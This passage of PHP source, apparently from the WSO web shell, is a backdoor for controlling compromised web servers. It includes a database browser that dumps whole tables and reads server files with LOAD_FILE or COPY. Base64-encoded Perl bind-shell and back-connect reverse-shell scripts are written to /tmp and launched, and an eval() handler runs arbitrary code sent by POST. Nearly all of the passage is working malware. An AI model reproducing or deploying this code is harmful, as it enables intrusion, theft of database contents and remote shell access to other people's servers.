1120 | function DbClass($type) { | |
1121 | $this->type = $type; | |
1122 | } | |
1123 | function connect($host, $user, $pass, $dbname){ | |
1124 | switch($this->type) { | |
1125 | case 'mysql': | |
1126 | if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true; | |
1127 | break; | |
1128 | case 'pgsql': | |
1129 | $host = explode(':', $host); | |
1130 | if(!$host[1]) $host[1]=5432; | |
1131 | if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true; | |
1132 | break; | |
1133 | } | |
1134 | return false; | |
1135 | } | |
1136 | function selectdb($db) { | |
1137 | switch($this->type) { | |
1138 | case 'mysql': | |
1139 | if (@mysql_select_db($db))return true; | |
1140 | break; | |
1141 | } | |
1142 | return false; | |
1143 | } | |
1144 | function query($str) { | |
1145 | switch($this->type) { | |
1146 | case 'mysql': | |
1147 | return $this->res = @mysql_query($str); | |
1148 | break; | |
1149 | case 'pgsql': | |
1150 | return $this->res = @pg_query($this->link,$str); | |
1151 | break; | |
1152 | } | |
1153 | return false; | |
1154 | } | |
1155 | function fetch() { | |
1156 | $res = func_num_args()?func_get_arg(0):$this->res; | |
1157 | switch($this->type) { | |
1158 | case 'mysql': | |
1159 | return @mysql_fetch_assoc($res); | |
1160 | break; | |
1161 | case 'pgsql': | |
1162 | return @pg_fetch_assoc($res); | |
1163 | break; | |
1164 | } | |
1165 | return false; | |
1166 | } | |
1167 | function listDbs() { | |
1168 | switch($this->type) { | |
1169 | case 'mysql': | |
1170 | return $this->query("SHOW databases"); | |
1171 | break; | |
1172 | case 'pgsql': | |
1173 | return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'"); | |
1174 | break; | |
1175 | } | |
1176 | return false; | |
1177 | } | |
1178 | function listTables() { | |
1179 | switch($this->type) { | |
1180 | case 'mysql': | |
1181 | return $this->res = $this->query('SHOW TABLES'); | |
1182 | break; | |
1183 | case 'pgsql': | |
1184 | return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'"); | |
1185 | break; | |
1186 | } | |
1187 | return false; | |
1188 | } | |
1189 | function error() { | |
1190 | switch($this->type) { | |
1191 | case 'mysql': | |
1192 | return @mysql_error(); | |
1193 | break; | |
1194 | case 'pgsql': | |
1195 | return @pg_last_error(); | |
1196 | break; | |
1197 | } | |
1198 | return false; | |
1199 | } | |
1200 | function setCharset($str) { | |
1201 | switch($this->type) { | |
1202 | case 'mysql': | |
1203 | if(function_exists('mysql_set_charset')) | |
1204 | return @mysql_set_charset($str, $this->link); | |
1205 | else | |
1206 | $this->query('SET CHARSET '.$str); | |
1207 | break; | |
1208 | case 'pgsql': | |
1209 | return @pg_set_client_encoding($this->link, $str); | |
1210 | break; | |
1211 | } | |
1212 | return false; | |
1213 | } | |
1214 | function loadFile($str) { | |
1215 | switch($this->type) { | |
1216 | case 'mysql': | |
1217 | return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file")); | |
1218 | break; | |
1219 | case 'pgsql': | |
1220 | $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;"); | |
1221 | $r=array(); | |
1222 | while($i=$this->fetch()) | |
1223 | $r[] = $i['file']; | |
1224 | $this->query('drop table wso2'); | |
1225 | return array('file'=>implode("\n",$r)); | |
1226 | break; | |
1227 | } | |
1228 | return false; | |
1229 | } | |
1230 | function dump($table, $fp = false) { | |
1231 | switch($this->type) { | |
1232 | case 'mysql': | |
1233 | $res = $this->query('SHOW CREATE TABLE `'.$table.'`'); | |
1234 | $create = mysql_fetch_array($res); | |
1235 | $sql = $create[1].";\n"; | |
1236 | if($fp) fwrite($fp, $sql); else echo($sql); | |
1237 | $this->query('SELECT * FROM `'.$table.'`'); | |
1238 | $i = 0; | |
1239 | $head = true; | |
1240 | while($item = $this->fetch()) { | |
1241 | $sql = ''; | |
1242 | if($i % 1000 == 0) { | |
1243 | $head = true; | |
1244 | $sql = ";\n\n"; | |
1245 | } | |
1246 | ||
1247 | $columns = array(); | |
1248 | foreach($item as $k=>$v) { | |
1249 | if($v === null) | |
1250 | $item[$k] = "NULL"; | |
1251 | elseif(is_int($v)) | |
1252 | $item[$k] = $v; | |
1253 | else | |
1254 | $item[$k] = "'".@mysql_real_escape_string($v)."'"; | |
1255 | $columns[] = "`".$k."`"; | |
1256 | } | |
1257 | if($head) { | |
1258 | $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')'; | |
1259 | $head = false; | |
1260 | } else | |
1261 | $sql .= "\n\t,(".implode(", ", $item).')'; | |
1262 | if($fp) fwrite($fp, $sql); else echo($sql); | |
1263 | $i++; | |
1264 | } | |
1265 | if(!$head) | |
1266 | if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n"); | |
1267 | break; | |
1268 | case 'pgsql': | |
1269 | $this->query('SELECT * FROM '.$table); | |
1270 | while($item = $this->fetch()) { | |
1271 | $columns = array(); | |
1272 | foreach($item as $k=>$v) { | |
1273 | $item[$k] = "'".addslashes($v)."'"; | |
1274 | $columns[] = $k; | |
1275 | } | |
1276 | $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n"; | |
1277 | if($fp) fwrite($fp, $sql); else echo($sql); | |
1278 | } | |
1279 | break; | |
1280 | } | |
1281 | return false; | |
1282 | } | |
1283 | }; | |
1284 | $db = new DbClass($_POST['type']); | |
1285 | if(@$_POST['p2']=='download') { | |
1286 | $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']); | |
1287 | $db->selectdb($_POST['sql_base']); | |
1288 | switch($_POST['charset']) { | |
1289 | case "Windows-1251": $db->setCharset('cp1251'); break; | |
1290 | case "UTF-8": $db->setCharset('utf8'); break; | |
1291 | case "KOI8-R": $db->setCharset('koi8r'); break; | |
1292 | case "KOI8-U": $db->setCharset('koi8u'); break; | |
1293 | case "cp866": $db->setCharset('cp866'); break; | |
1294 | } | |
1295 | if(empty($_POST['file'])) { | |
1296 | ob_start("ob_gzhandler", 4096); | |
1297 | header("Content-Disposition: attachment; filename=dump.sql"); | |
1298 | header("Content-Type: text/plain"); | |
1299 | foreach($_POST['tbl'] as $v) | |
1300 | $db->dump($v); | |
1301 | exit; | |
1302 | } elseif($fp = @fopen($_POST['file'], 'w')) { | |
1303 | foreach($_POST['tbl'] as $v) | |
1304 | $db->dump($v, $fp); | |
1305 | fclose($fp); | |
1306 | unset($_POST['p2']); | |
1307 | } else | |
1308 | die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>'); | |
1309 | } | |
1310 | wsoHeader(); | |
1311 | echo " | |
1312 | <h1>Sql browser</h1><div class=content> | |
1313 | <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr> | |
1314 | <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr> | |
1315 | <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'> | |
1316 | <td><select name='type'><option value='mysql' "; | |
1317 | if(@$_POST['type']=='mysql')echo 'selected'; | |
1318 | echo ">MySql</option><option value='pgsql' "; | |
1319 | if(@$_POST['type']=='pgsql')echo 'selected'; | |
1320 | echo ">PostgreSql</option></select></td> | |
1321 | <td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td> | |
1322 | <td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td> | |
1323 | <td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>"; | |
1324 | $tmp = "<input type=text name=sql_base value=''>"; | |
1325 | if(isset($_POST['sql_host'])){ | |
1326 | if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) { | |
1327 | switch($_POST['charset']) { | |
1328 | case "Windows-1251": $db->setCharset('cp1251'); break; | |
1329 | case "UTF-8": $db->setCharset('utf8'); break; | |
1330 | case "KOI8-R": $db->setCharset('koi8r'); break; | |
1331 | case "KOI8-U": $db->setCharset('koi8u'); break; | |
1332 | case "cp866": $db->setCharset('cp866'); break; | |
1333 | } | |
1334 | $db->listDbs(); | |
1335 | echo "<select name=sql_base><option value=''></option>"; | |
1336 | while($item = $db->fetch()) { | |
1337 | list($key, $value) = each($item); | |
1338 | echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>'; | |
1339 | } | |
1340 | echo '</select>'; | |
1341 | } | |
1342 | else echo $tmp; | |
1343 | }else | |
1344 | echo $tmp; | |
1345 | echo "</td> | |
1346 | <td><input type=submit value='>>' onclick='fs(d.sf);'></td> | |
1347 | <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td> | |
1348 | </tr> | |
1349 | </table> | |
1350 | <script> | |
1351 | s_db='".@addslashes($_POST['sql_base'])."'; | |
1352 | function fs(f) { | |
1353 | if(f.sql_base.value!=s_db) { f.onsubmit = function() {}; | |
1354 | if(f.p1) f.p1.value=''; | |
1355 | if(f.p2) f.p2.value=''; | |
1356 | if(f.p3) f.p3.value=''; | |
1357 | } | |
1358 | } | |
1359 | function st(t,l) { | |
1360 | d.sf.p1.value = 'select'; | |
1361 | d.sf.p2.value = t; | |
1362 | if(l && d.sf.p3) d.sf.p3.value = l; | |
1363 | d.sf.submit(); | |
1364 | } | |
1365 | function is() { | |
1366 | for(i=0;i<d.sf.elements['tbl[]'].length;++i) | |
1367 | d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked; | |
1368 | } | |
1369 | </script>"; | |
1370 | if(isset($db) && $db->link){ | |
1371 | echo "<br/><table width=100% cellpadding=2 cellspacing=0>"; | |
1372 | if(!empty($_POST['sql_base'])){ | |
1373 | $db->selectdb($_POST['sql_base']); | |
1374 | echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>"; | |
1375 | $tbls_res = $db->listTables(); | |
1376 | while($item = $db->fetch($tbls_res)) { | |
1377 | list($key, $value) = each($item); | |
1378 | if(!empty($_POST['sql_count'])) | |
1379 | $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.'')); | |
1380 | $value = htmlspecialchars($value); | |
1381 | echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>"; | |
1382 | } | |
1383 | echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>"; | |
1384 | if(@$_POST['p1'] == 'select') { | |
1385 | $_POST['p1'] = 'query'; | |
1386 | $_POST['p3'] = $_POST['p3']?$_POST['p3']:1; | |
1387 | $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']); | |
1388 | $num = $db->fetch(); | |
1389 | $pages = ceil($num['n'] / 30); | |
1390 | echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">"; | |
1391 | echo " of $pages"; | |
1392 | if($_POST['p3'] > 1) | |
1393 | echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>"; | |
1394 | if($_POST['p3'] < $pages) | |
1395 | echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>"; | |
1396 | $_POST['p3']--; | |
1397 | if($_POST['type']=='pgsql') | |
1398 | $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30); | |
1399 | else | |
1400 | $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30'; | |
1401 | echo "<br><br>"; | |
1402 | } | |
1403 | if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) { | |
1404 | $db->query(@$_POST['p2']); | |
1405 | if($db->res !== false) { | |
1406 | $title = false; | |
1407 | echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">'; | |
1408 | $line = 1; | |
1409 | while($item = $db->fetch()) { | |
1410 | if(!$title) { | |
1411 | echo '<tr>'; | |
1412 | foreach($item as $key => $value) | |
1413 | echo '<th>'.$key.'</th>'; | |
1414 | reset($item); | |
1415 | $title=true; | |
1416 | echo '</tr><tr>'; | |
1417 | $line = 2; | |
1418 | } | |
1419 | echo '<tr class="l'.$line.'">'; | |
1420 | $line = $line==1?2:1; | |
1421 | foreach($item as $key => $value) { | |
1422 | if($value == null) | |
1423 | echo '<td><i>null</i></td>'; | |
1424 | else | |
1425 | echo '<td>'.nl2br(htmlspecialchars($value)).'</td>'; | |
1426 | } | |
1427 | echo '</tr>'; | |
1428 | } | |
1429 | echo '</table>'; | |
1430 | } else { | |
1431 | echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>'; | |
1432 | } | |
1433 | } | |
1434 | echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>"; | |
1435 | if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) | |
1436 | echo htmlspecialchars($_POST['p2']); | |
1437 | echo "</textarea><br/><input type=submit value='Execute'>"; | |
1438 | echo "</td></tr>"; | |
1439 | } | |
1440 | echo "</table></form><br/>"; | |
1441 | if($_POST['type']=='mysql') { | |
1442 | $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'"); | |
1443 | if($db->fetch()) | |
1444 | echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>"; | |
1445 | } | |
1446 | if(@$_POST['p1'] == 'loadfile') { | |
1447 | $file = $db->loadFile($_POST['p2']); | |
1448 | echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>'; | |
1449 | } | |
1450 | } else { | |
1451 | echo htmlspecialchars($db->error()); | |
1452 | } | |
1453 | echo '</div>'; | |
1454 | wsoFooter(); | |
1455 | } | |
1456 | function actionNetwork() { | |
1457 | wsoHeader(); | |
1458 | $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"; | |
1459 | $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="; | |
1460 | echo "<h1>Network tools</h1><div class=content> | |
1461 | <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\"> | |
1462 | <span>Bind port to /bin/sh [perl]</span><br/> | |
1463 | Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'> | |
1464 | </form> | |
1465 | <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\"> | |
1466 | <span>Back-connect [perl]</span><br/> | |
1467 | Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'> | |
1468 | </form><br>"; | |
1469 | if(isset($_POST['p1'])) { | |
1470 | function cf($f,$t) { | |
1471 | $w = @fopen($f,"w") or @function_exists('file_put_contents'); | |
1472 | if($w){ | |
1473 | @fwrite($w,@base64_decode($t)); | |
1474 | @fclose($w); | |
1475 | } | |
1476 | } | |
1477 | if($_POST['p1'] == 'bpp') { | |
1478 | cf("/tmp/bp.pl",$bind_port_p); | |
1479 | $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &"); | |
1480 | sleep(1); | |
1481 | echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>"; | |
1482 | unlink("/tmp/bp.pl"); | |
1483 | } | |
1484 | if($_POST['p1'] == 'bcp') { | |
1485 | cf("/tmp/bc.pl",$back_connect_p); | |
1486 | $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &"); | |
1487 | sleep(1); | |
1488 | echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>"; | |
1489 | unlink("/tmp/bc.pl"); | |
1490 | } | |
1491 | } | |
1492 | echo '</div>'; | |
1493 | wsoFooter(); | |
1494 | } | |
1495 | function actionRC() { | |
1496 | if(!@$_POST['p1']) { | |
1497 | $a = array( | |
1498 | "uname" => php_uname(), | |
1499 | "php_version" => phpversion(), | |
1500 | "wso_version" => WSO_VERSION, | |
1501 | "safemode" => @ini_get('safe_mode') | |
1502 | ); | |
1503 | echo serialize($a); | |
1504 | } else { | |
1505 | eval($_POST['p1']); | |
1506 | } | |
1507 | } | |
1508 | if( empty($_POST['a']) ) | |
1509 | if(isset($default_action) && function_exists('action' . $default_action)) | |
1510 | $_POST['a'] = $default_action; | |
1511 | else | |
1512 | $_POST['a'] = 'SecInfo'; | |
1513 | if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) ) | |
1514 | call_user_func('action' . $_POST['a']); | |
1515 | exit; | |
1516 | ?> |